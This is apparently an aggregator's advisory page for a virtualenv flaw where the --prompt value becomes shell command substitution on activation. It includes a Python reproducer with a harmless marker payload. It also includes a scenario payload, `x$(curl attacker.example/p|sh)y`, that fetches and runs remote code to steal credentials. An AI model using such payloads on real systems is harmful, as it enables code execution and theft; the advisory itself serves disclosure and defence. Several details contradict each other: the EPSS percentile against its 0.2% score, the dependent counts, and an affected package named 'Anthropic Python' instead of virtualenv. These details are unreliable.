CVE-2026-113723: virtualenv: prompt injection enables shell command execution

GHSA-6w3r-xr62-4xcpHIGH
Published October 23, 2026
CISO Take

virtualenv versions before 21.14.9 let attacker-controlled --prompt text become executable shell syntax when a user activates the environment and the shell redraws its prompt, running commands with the user's privileges. The flaw needs an attacker to influence the prompt value (for example via a build tool such as tox or hatch that relays it) and a user to activate the environment, so it is a targeted, interaction-dependent risk rather than a remote wormable one. Still, virtualenv has about 6,390 tracked dependents, and its EPSS score sits in the top 97th percentile, even though there is no public exploit, no Nuclei template and no CISA KEV listing. Upgrade to virtualenv 21.14.9 or later and recreate existing environments, since activation scripts already generated stay vulnerable. Where upgrading is delayed, set VIRTUAL_ENV_DISABLE_PROMPT=1 and only pass trusted prompt values.

Sources:NVDGitHub AdvisoryEPSSATLAS

What is the risk?

Rated high by the advisory, but no CVSS vector is published. Exploitation requires control of the --prompt or destination argument and a later user activation of the generated bin/activate, plus a specific shell path: dash sourcing activate directly, a child dash inheriting an exported PS1 from bash, or bash at compatibility level 4.2 or lower. The standard bash and zsh paths are already covered by earlier fixes. Likelihood is low to moderate, with no known active exploitation. Impact is arbitrary command execution as the activating user. For AI/ML teams the exposure is concentrated on developer workstations, notebooks and CI runners that build Python environments from templated input.

How does the attack unfold?

Initial Access
Attacker influences a virtualenv --prompt or destination value, for example through a project config or CI template.
AML.T0010.001
User Execution
A user sources the generated bin/activate and starts a child dash shell or uses dash or bash 4.2 mode directly.
AML.T0011
Exploitation
The shell re-expands PS1 on prompt draw and runs the embedded command substitution.
AML.T0050
Impact
Commands run with the user's privileges, exposing credentials, model artifacts and local code to theft or tampering.
AML.T0055

What systems are affected?

PackageEcosystemVulnerable RangePatched
Anthropic Pythonpip< 21.14.921.14.9
4.0K5.4K dependentsPushed 8d ago93% patched~9d to patchFull package profile →

Do you use Anthropic Python? You're affected.

How severe is it?

CVSS 3.1
N/A
EPSS
0.2%
chance of exploitation in 30 days
Higher than 15% of all CVEs
Exploitation Status
No known exploitation
Sophistication
Moderate

What should I do?

1 step
  1. 1) Upgrade virtualenv to 21.14.9 or later and recreate existing environments, because already generated activate scripts retain the flaw. 2) Until then, set VIRTUAL_ENV_DISABLE_PROMPT=1 to disable the environment prompt. 3) Audit tooling that forwards --prompt or destination values from untrusted sources (tox, hatch, CI templates, project configs) and restrict them to trusted input. 4) Avoid exporting PS1 into child dash shells in shared setups. 5) Detect by grepping generated bin/activate files for command substitution characters such as $( or backticks inside the prompt assignment, and by watching for unexpected child processes spawned from interactive shells.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Art. 15-Accuracy, robustness and cybersecurity
ISO 42001
A.7.4-Quality of data for AI systems
NIST AI RMF
MANAGE 2.3-Respond to previously unknown risks
OWASP LLM Top 10
LLM03-Supply Chain

Frequently Asked Questions

What is CVE-2026-113723?

virtualenv versions before 21.14.9 let attacker-controlled --prompt text become executable shell syntax when a user activates the environment and the shell redraws its prompt, running commands with the user's privileges. The flaw needs an attacker to influence the prompt value (for example via a build tool such as tox or hatch that relays it) and a user to activate the environment, so it is a targeted, interaction-dependent risk rather than a remote wormable one. Still, virtualenv has about 6,390 tracked dependents, and its EPSS score sits in the top 97th percentile, even though there is no public exploit, no Nuclei template and no CISA KEV listing. Upgrade to virtualenv 21.14.9 or later and recreate existing environments, since activation scripts already generated stay vulnerable. Where upgrading is delayed, set VIRTUAL_ENV_DISABLE_PROMPT=1 and only pass trusted prompt values.

Is CVE-2026-113723 actively exploited?

No confirmed active exploitation of CVE-2026-113723 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-113723?

1) Upgrade virtualenv to 21.14.9 or later and recreate existing environments, because already generated activate scripts retain the flaw. 2) Until then, set VIRTUAL_ENV_DISABLE_PROMPT=1 to disable the environment prompt. 3) Audit tooling that forwards --prompt or destination values from untrusted sources (tox, hatch, CI templates, project configs) and restrict them to trusted input. 4) Avoid exporting PS1 into child dash shells in shared setups. 5) Detect by grepping generated bin/activate files for command substitution characters such as $( or backticks inside the prompt assignment, and by watching for unexpected child processes spawned from interactive shells.

What systems are affected by CVE-2026-113723?

This vulnerability affects the following AI/ML architecture patterns: Python development environments, training pipelines, CI/CD build runners, notebook and shared GPU workstations.

What is the CVSS score for CVE-2026-113723?

No CVSS score has been assigned yet.

What is the AI security impact?

Affected AI Architectures

Python development environmentstraining pipelinesCI/CD build runnersnotebook and shared GPU workstations

MITRE ATLAS Techniques

AML.T0010.001AI Software
AML.T0011User Execution
AML.T0050Command and Scripting Interpreter

Compliance Controls Affected

EU AI Act: Art. 15
ISO 42001: A.7.4
NIST AI RMF: MANAGE 2.3
OWASP LLM Top 10: LLM03

What are the technical details?

Original Advisory

## Summary Caller-supplied prompt text can become executable syntax in the bash activation prompt. An attacker must influence the value passed to virtualenv, and a user must subsequently activate the environment and draw the prompt. ## Affected area Bash runs with compatibility level 4.2 and draws the environment prompt. Its replacement-string behavior differs from newer compatibility modes, leaving prompt text subject to a second interpretation. The report concerns POSIX activation. It does not establish exposure through unrelated activators. ## Attacker-controlled input The attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated activation script. ## Affected code The relevant 21.14.8 source is in [bash prompt assembly](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/bash/activate.sh). ## Mechanism `bin/activate` copies the prompt into `PS1`. A shell expands `PS1` again when it draws a prompt, so the value must survive both the assignment and that later expansion. The bash and zsh branches escape for their usual prompt rules. Three other paths still interpret prompt data as commands: dash sourcing `activate` directly, a child dash inheriting an exported `PS1` from bash, and bash running at compatibility level 4.2 or lower. A value such as `x$(touch MARKER)y` then runs `touch` on prompt display. Creating the environment does not run the payload. ## Reproduction and evidence The scanner's child-shell reproducer creates an environment with `--prompt 'x$(touch MARKER)y'`, sources `bin/activate` in interactive bash, and starts interactive `sh` (dash). Its control leaves `PS1` unexported: neither shell creates `MARKER`. With `PS1` exported, bash displays the prompt without executing the value, but the child dash creates `MARKER`; the reproducer ends in `BUG`. The report gives separate console reproductions for direct dash activation and bash compatibility level 4.2. The child-shell path can arise after another environment's activation has exported `PS1`. The scanner linked this finding to [#3326](https://github.com/pypa/virtualenv/pull/3326) and its follow-up #3390. Those changes cover the usual bash path but leave the three paths above. The proposed change in [#3418](https://github.com/pypa/virtualenv/pull/3418) keeps a variable reference in `PS1`, so prompt text is expanded as data when drawn. The private report's reproducer was run by the scanner; the later command-execution result was supplied by the maintainer review. This advisory does not claim that every POSIX shell or every bash mode is affected. ## Introduced The report traces direct dash sourcing to the first 20.x activator (20.0.0b1), and inherited `PS1` to #3390 (first released in 21.14.7). It demonstrates the compatibility-level case on bash 5.2. Those historical boundaries come from the report; the release confirmed by the maintainer is 21.14.8. ## Attack sequence ```mermaid sequenceDiagram participant A as Prompt supplier participant V as virtualenv participant B as Interactive bash participant D as Child dash A->>V: --prompt x$(touch MARKER)y V->>B: generated bin/activate B->>B: assign escaped prompt to PS1 alt PS1 is not exported B->>D: start sh with its own PS1 D-->>B: marker absent else PS1 is exported B->>D: start sh with inherited PS1 D->>D: expand $(touch MARKER) on prompt draw D-->>B: marker created end ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-1MOI2X3T`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import shutil import subprocess from pathlib import Path work = Path("/tmp/repro-inherited-ps1") shutil.rmtree(work, ignore_errors=True) work.mkdir() marker = work / "MARKER" print("sh is", Path("/bin/sh").resolve()) # attacker: only the text a tool such as tox or hatch relays as --prompt hostile_prompt = f"x$(touch {marker})y" # set up: the environment, made with the virtualenv command subprocess.run( ["virtualenv", "--no-periodic-update", "--without-pip", "--activators", "bash", "--prompt", hostile_prompt, str(work / "env")], check=True, stdout=subprocess.DEVNULL, ) assert not marker.exists(), "creating the environment must not run the prompt" # user: in an interactive bash, source bin/activate, then start sh. # -i makes both shells draw their prompt although stdin is not a terminal; sh draws one, reads EOF and returns session = Path("/tmp/repro.d/user_session.sh").read_text() interactive_bash = ["bash", "--norc", "--noprofile", "-i"] # control: PS1 set in bash but not exported, so sh does not inherit it control = subprocess.run(interactive_bash, input="PS1='\\$ '\n" + session, stderr=subprocess.PIPE, text=True, check=True) print(control.stderr) ran_in_control = marker.exists() print("CONTROL PS1 not exported: marker created:", ran_in_control) # attack: the same session with the one difference that PS1 is exported attack = subprocess.run(interactive_bash, input="export PS1='\\$ '\n" + session, stderr=subprocess.PIPE, text=True, check=True) print(attack.stderr) ran_in_attack = marker.exists() print("OBSERVED PS1 exported: marker created:", ran_in_attack) # check: the prompt text must be drawn, never run, by every shell that draws it print("BUG" if ran_in_attack and not ran_in_control else "OK") ``` **`repro.d/user_session.sh`** ```text . /tmp/repro-inherited-ps1/env/bin/activate sh -i </dev/null ``` ## Impact An affected activation can execute commands with the user's privileges. Severity is high, following the generated-script precedent in [GHSA-p58f-9548-mpm2](https://github.com/pypa/virtualenv/security/advisories/GHSA-p58f-9548-mpm2). The attack requires control of argument data and subsequent user activation; it does not require replacing an executable or controlling app-data contents. ## Versions tested The supplied follow-up review marks command execution as independently confirmed by its author. The implementation review used source inspection and patched literal-value checks, without rerunning that exploit. The relevant activation source is identical between release 21.14.8 and upstream/main 233359cb. The maintainer previously confirmed validation of the reported findings on 21.14.8. The first affected version has not been established. Fixed in 21.14.9. ## Known mitigation Use trusted prompt and destination values. On older releases, disable the environment prompt with VIRTUAL_ENV_DISABLE_PROMPT=1. Recreate environments with virtualenv 21.14.9 or later. ## Affected release - [x] The problem reproduces on virtualenv 21.14.8. ## Credits The original report was supplied by Anthropic's OSS Scanner as ANT-2026-1MOI2X3T. The subsequent maintainer-provided review identified the remaining activation path.

Exploitation Scenario

An attacker contributes a pull request or project config to an ML repository that sets a virtualenv prompt such as x$(curl attacker.example/p|sh)y through a tool like tox or hatch. The environment is created without anything running. When a data scientist later activates it and starts a child dash shell with an exported PS1, or uses dash directly, the shell expands the command substitution as it draws the prompt. The payload runs as that user and can steal cloud keys, API tokens and model artifacts, or tamper with local training code.

Weaknesses (CWE)

CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

  • [Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
  • [Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.

Timeline

Published
October 23, 2026
Last Modified
October 27, 2026
First Seen
October 24, 2026

Related Vulnerabilities